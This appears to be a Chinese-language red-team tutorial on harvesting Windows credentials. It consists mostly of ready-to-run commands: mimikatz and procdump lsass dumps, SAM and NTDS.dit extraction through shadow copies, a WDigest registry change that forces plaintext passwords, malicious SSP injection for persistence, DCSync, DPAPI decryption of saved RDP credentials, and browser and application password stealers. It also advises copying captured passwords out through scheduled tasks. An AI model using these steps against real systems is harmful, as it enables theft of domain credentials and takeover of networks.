电脑系统抓取密码的原理
sam文件是位于C\windows\system32\config\目录下的,用于存储本地所有用户的凭证
如果电脑是DC机,域里面的账号密码就不是存储在这了
抓密码主要原理
1.读sam文件
2.读lsass.exe进程的内存数据
mimikatz在线抓取sam文件的hash值
privilege::debug
token::elevate
lsadump::sam
离线读取sam文件中的hash
离线读取的意思就是,我们不需要再本地读取,可以将SAM文件复制到我们自己的电脑上然后使用工具读取,这里我们主要读取的NTLN-HASH值
1.通过reg命令导出
reg save hklm\sam sam.hive
reg save hklm\system system.hive
2.使用PS(Copy-VSS)脚本
import-module Copy-VSS.ps1
powershell Copy-VSS
将文件下载到本地,然后使用mimikatz进行本地读取
直接输入下面命令即可
lsadump::sam /sam:sam.hive /system:system.hive
在线读取lsass进程内存密码
mimikatz命令
privilege::debug
下面这些都是通过读内存获取明文密码,只是方法不同
sekurlsa::msv 获取HASH (LM,NTLM)
通过特征码读lsasvr.dll(lsass的调用文件)
sekurlsa::wdigest 通过可逆的方式去内存中读取明文密码
通过特征码读wdigest.dll
sekurlsa::Kerberos 获取域管理员的明文密码
sekurlsa::tspkg 通过tspkg读取明文密码
通过特征码读tspkg.dll
sekurlsa::livessp 通过livessp 读取明文密码
sekurlsa::ssp 通过ssp 读取明文密码(ssp相当于一个api)
windows在身份验证机制时,ssp可以做一个扩展。lsass在运行的时候会加载ssp
sekurlsa::logonPasswords 通过以上各种方法读取明文密码
离线读取lsass进程内存密码
导出方式一
使用任务管理器
右键lsass,创建转储文件,然后根据地点去找那个文件
导出方式二
使用procdump 导出lsass.dmp文件,
ProcDump 是一个命令行实用工具,其主要用途是在管理员或开发人员可用于确定峰值原因的峰值期间监视 CPU 峰值和生成故障转储的应用程序,微软的一般不会被杀软杀掉
命令:procdump.exe -accepteula -ma lsass.exe lsass.dmp
导出方式三
使用powershell的Out-MiniDump.ps1脚本
命令: import-Modele Out-MiniDump.ps1
Get-Process lsass | Out-Minidump
导出方式四
comsvcs.dll,系统自带。通过comsvcs.dll的导出函数MiniDump实现dump内存
命令:
1、首先查看lsass.exe进程PID:
tasklist | findstr lsass.exe
2、使用powershell导出到c盘
powershell.exe rundll32 C:\windows\system32\comsvcs.dll, MiniDump PID C:\lsass.dmp full
mimikatz读取导出的文件
命令: mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
高版本密码抓取原理
Win7、 Win2008这样的机器内存中是存储明文的密码,但是在2012之后的机器(win10、win 8、win11、2012、2016)或者安装了KB2971997补丁是内存中就不在存储明文的密码了
不过读sam文件中的hash值还是可以读的
修改Wdigest注册表获取系统密码
在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取
1、先查询一下是否存在该值
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential
2、修改UseLogonCredential值为1,这里注意一定要是最高管理员权限
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
3、现在内存中就可以存储明文的密码了,但是因为密码在内存中,需要锁屏或者注销用户然后重新登录后,内存中就保留密码了
1. rundll32.exe user32.dll,LockWorkStation 锁屏
2. query user 查询登录id
logoff ID 注销用户
4、使用mimikatz读取内存中的密码
privilege::debug
sekurlsa::logonPasswords
注册表中有了UseLogonCredential这个值,并且为1才能抓到明文密码
内存注入SSP获取系统密码
Mimikatz中,有写好的恶意的SSP,他可以提供本地认证时候对明文账号密码进行记录,我们需要将SSP注入到系统内存中,就可以获取本地的明文账号密码,因为是注入内存所以重启后就失效了,这个攻击也叫(SSP注入)
第一步:将SSP注入内存
使用mimikatz
misc::memssp
第二步:进行锁屏等操作
命令:rundll32.exe user32.dll,LockWorkStation
等待管理员输入争取的账号密码后在C:\Windows\System32\mimilsa.log,存放正确的账号密码
在cs上操作时,读取不了mimilsa.log文件
可以使用计划任务
1.把这个密码文件copy到桌面
2.把这个密码文件发送到你的云上
计划任务 创建一个名字是“copy”的计划任务,任务是执行桌面上的1.bat
schtasks /create /tn copy /sc onstart /tr C:\Users\cheshi\Desktop\1.bat /ru system /f
执行“copy”的计划任务
schtasks /run /i /tn "copy"
bat文件 copy任务
copy C:\Windows\System32\mimilsa.log C:\Users\cheshi\Desktop\mimi.txt
注册表添加SSP获取系统密码
将SSP注入到内存中,有一个弊端就是在内存中,只要电脑重启了就会失效,如果想要永久生效就需要将SSP添加到注册表中,之后系统重启就会加载SSP,这样就会获取明文账号密码
第一步:在Mimikatz中有一个mimilib.dll文件,这个就是SSP,将这个文件复制到C:\Windows\System32目录下
第二步:修改注册表,重启后就会加载SSP
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f
密码将会生成在C:\Windows\System32\kiwissp.log
如果使用cs,那么和上面一样,需要使用计划任务,否则看不到密码文件
域控账号密码抓取
域控账号密码文件NTDS介绍
NTDS.DIT为DC的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
位置:C:\Windows\NTDS\ntds.dit
域控上的sam文件存的是域控本地的账号密码
有三种读取方式
1、离线读取,将NTDS文件复制到攻击者的本地,然后使用工具读取
2、在线读取,通过给域控的电脑上传读取的工具,进行在线读取
3、远程读取,不需要上线域控,可以通过Dcsync远程读取
使用卷影拷贝提取域控NTDS
从Windows XP SP2和Windows Server 2003开始,微软就向Windows操作系统中引入了一项名叫卷影拷贝的服务。
这种服务允许Windows系统以自动或手动的方式对文件或磁盘卷宗的当前状态进行备份(或快照),需要注意的是,在这个过程中,即使文件处于打开状态下该服务仍然可以直接进行文件备份
Ntds.dit是默认被Windows系统锁定的,想要读取该文件就要利用卷影拷贝服务,得到Ntds.dit文件的副本。卷影拷贝服务(VSS)本质上是属于快照技术的一种,主要用于备份和恢复,即使目标文件被处于锁定状态。
ntdsutil.exe工具
ntdsutil.exe工具进行拷贝---域控服务器上默认有的工具
工具介绍:ntdsutil.exe是一个为活动目录提供管理机制的命令行工具,该工具默认安装在域控服务器上,可以在域控制器上直接操作,2003、2008、2012、2016等,提取NTDS过程分为3步
第一步:创建一个NTDS快照
命令: ntdsutil.exe snapshot "activate instance ntds" create q Local Destination
可以看到快照的uid是8dd1fc52-c0b8-4d62-b6ed-3c3c946c3077
第二步:加载快照到磁盘中
命令: ntdsutil.exe snapshot "mount {8dd1fc52-c0b8-4d62-b6ed-3c3c946c3077}" q q
可以看到快照的地址C:\$SNAP_202308051804_VOLUMEC$\
3、第三步:复制快照中的ntds.dit文件到桌面上
命令:copy '快照地址\Windows\NTDS\ntds.dit' 目标地址
copy C:\\$SNAP_202308051804_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit
第四步:删除快照
命令:ntdsutil.exe snapshot "umount {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" "delete {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" q q
在cs上操作需要system权限
vssadmin工具
vssadmin是Windows Server 2008及Windows 7系统以上提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息,他需要两步就可以进行提取NTDS文件
1、第一步:创建一个C盘快照
命令: vssadmin create shadow /for=c:
2、第二步:将快照中的NTDS文件进行复制出来
命令: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
最后一步就是删除快照
命令: vssadmin delete shadows /for=c: /quiet
IFM方式拷贝(ntdsutil工具)
可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作
一定要切换路径到c盘下,且这个test文件夹一定要是空的,或者test文件夹不存在
1、 ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下
第二步:将NTDS文件进行复制出来
copy "C:\test\Active Directory\ntds.dit" C:\Users\Administrator\Desktop\ntds.dit
vssown提取ntds.dit(vbs脚本)
vssown 是一个 vbs 脚本,可以创建和删除卷影副本
1、启动卷影复制服务
命令: cscript vssown.vbs /start
2、创建一个C盘的卷影副本
命令: cscript vssown.vbs /create c
3、列出当前卷影副本
命令:cscript vssown.vbs /list
4、复制文件到指定的目录
命令:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
5、删除卷影副本
命令:cscript vssown.vbs /delete {5B5F2D0E-823F-4202-9319-848998791268}
copy-vss.ps1(ps脚本)
PS脚本可以直接导出
Import-Module .\Copy-VSS.ps1
Copy-VSS
Invoke-NinjaCopy(ps脚本)
Invoke-NinjaCopy也是PS脚本可以直接导出NTDS和system文件
命令:
Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"
离线读取NTDS文件中的hash值
secretsdump.exe 工具
命令:secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
能导出所有的账户,包括机器账户
NTDSDumpEx.exe工具
命令: NTDSDumpEx -d ntds.dit -s system -o 1.txt
能导出很多账户,但是不会导出机器账户
esedbexport工具(linux下工具)
命令:
1、python dsusers.py datatable.4 link_table.7 output --syshive system.hive --passwordhashes --
pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee 1.txt 读取用户信息
2、python dscomputers.py datatable.4 computer_output --csvoutfile 2.csv 读取机器信息
读的比上面的都详细
DS Internals工具 (ps脚本)
本工具是PS脚本,使用命令如下:
1、安装DS Internals
Install-Module DSInternals -Force安装方式(5.0版本)
Import-Module .\DSInternals 导入方式(4.0版本)
2、导出 hash,并保存在 txt 文件里
$key = Get-Bootkey -SystemHivePath 'system.hiv'
Get-ADDBAccount -All -DBPath 'ntds.dit' -Bootkey $key | Out-File 1.txt
读的内容也比较详细
在线读取ntds文件hash值
在线的方式就是直接读取,不需要在导出ntds文件到自己的电脑中,直接用工具就可以读
取在线读取需要考虑几个问题:
1、工具是否被杀软杀掉
2、如果域太大读取时间太久容易死机
mimikatz工具
使用MimiKatz
命令:
lsadump::dcsync /domain:abc.com /all /csv(读取所有)
lsadump::dcsync /domain:abc.com /user:administrator(读取单个用户)
quarkspwdump工具
QuarksPWDump工具
命令: Quarks PW Dump.exe --dump-hash-domain --ntds-file ntds.dit
Ntds这个文件必须先要导出来
secretsdump工具
命令: secretsdump.exe 域名/administrator:密码@IP
如果密码中有@符,就secretsdump.exe 域名/administrator@IP
回车,然后再输密码
能读到东西较多
Invoke-DCSync.ps1工具
他是一个PS工具
命令:
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync
dcsync原理以及攻击
dcsync:域控同步:在内网中一般不是一个域控,会有域树或者域森林等,域控之间是要同步数据的,不同的域控15分钟之间要发起一次数据同步的请求,请求里面就包含同步的数据,这里采用的协议是DRS(目录复制服务),这个就是DCsync
要运行这个DRS服务,需要什么用户才能运行
1. Administrators组内的用户
2. Domain Admins组内的用户
3. Enterprise Admins组内的用户
4. 域控制器的计算机帐户
域控的Administrator 和 system 也可以
利用思路
1、找到有权限的用户,从而远程读取域控用户信息,可以进行PTH 黄金 白银票据攻击
2、如果控制了域控,可以在域控添加一个管理员账号从而进行权限维持
3、可以添加一个普通的用户,修改ACL从而实现可以使用Dcsync,进行权限维持
利用dcsync远程读取域控hash
mimikatz工具
lsadump::dcsync /domain:abc.com /all /csv(读取所有)
lsadump::dcsync /domain:abc.com /user:administrator(读取单个用户)
secretsdump工具
命令: secretsdump.exe 域名/用户名或者hash:密码@IP
RDP密码凭据抓取
RDP明文密码抓取原理
Credentials的解密是Windows系统信息收集中非常重要的一环,接下来我们就讲解RDP凭证的抓取和破解
在远程连接中点击了保留凭证,这个过程是可逆的,可以将保存的密码进行还原
还原的原理:Windows就通过MasterKey将我们的密码加密后保存在本地,由于Windows还需要解密使用这个密码,所以这个过程是可逆,也正因为这一缘由,我们只要拿到MasterKey就能将密码解出来。
查看凭据的方法
1、查看mstsc的连接记录
命令:cmdkey /list
2、查找本地的Credentials
命令:dir /a %userprofile%\appdata\local\microsoft\credentials\*
在线读取RDP明文密码
1、使用mimikatz获取该文件的MasterKey的guid
命令: mimikatz dpapi::cred /in:凭据绝对路径
//绝对路径在上面查找本地的credentials命令中获取
2、找到内存中对应的MasterKey
命令: privilege::debug
mimikatz sekurlsa::dpapi
3、最后打开mimikatz通过MasterKey值去解密凭据文件
命令: dpapi::cred /in:凭据文件路径 /masterkey:masterkey值
离线读取RDP明文密码
1、下载目标lsass内存
2、下载凭据到本地
3、用mimikatz载入dump回来的内存
命令: Sekurlsa::minidump lsass1.dump
4、获取Credentials的GUID
导入到本地的,一般是在同目录下,用dir /a看看文件名
mimikatz dpapi::cred /in:凭据绝对路径
5、获取内存中所有的MasterKey
命令:sekurlsa::dpapi
6、利用MasterKey解密
命令:dpapi::cred /in:凭据文件路径 /masterkey:masterkey值
系统应用密码抓取
浏览器密码抓取
浏览器中保存着账号密码,还有历史记录,书签,等等很多有用的信息。
一、BrowserGhost浏览器抓取(火狐,权限需求高)
这是一个抓取浏览器密码的工具,实现system抓机器上其他用户的浏览器密码
地址:https://github.com/QAX-A-Team/BrowserGhost
用法非常简单,直接运行就行
一、Sharp-HackBrowserData
Sharp-HackBrowserData ,谷歌、火狐、IE、Vivaldi等常见的浏览器都能抓
用法非常简单,直接运行就行
其他软件密码抓取
SharpDecryptPwd工具
SharpDecryptPwd-master对密码已保存在 Windwos 系统上的部分程序进行解析 ,Navicat,TeamViewer, FileZilla,WinSCP,Xmangager系列产品
LaZagne工具
是⽤于开源应⽤程序获取⼤量的密码存储在本地计算机上。每个软件都使⽤不同的技术(明⽂、API、⾃定义算法、数据库等)存储其密码。开发此⼯具的⽬的是为最常⽤的软件查找这些密码
用法:LaZagne.exe all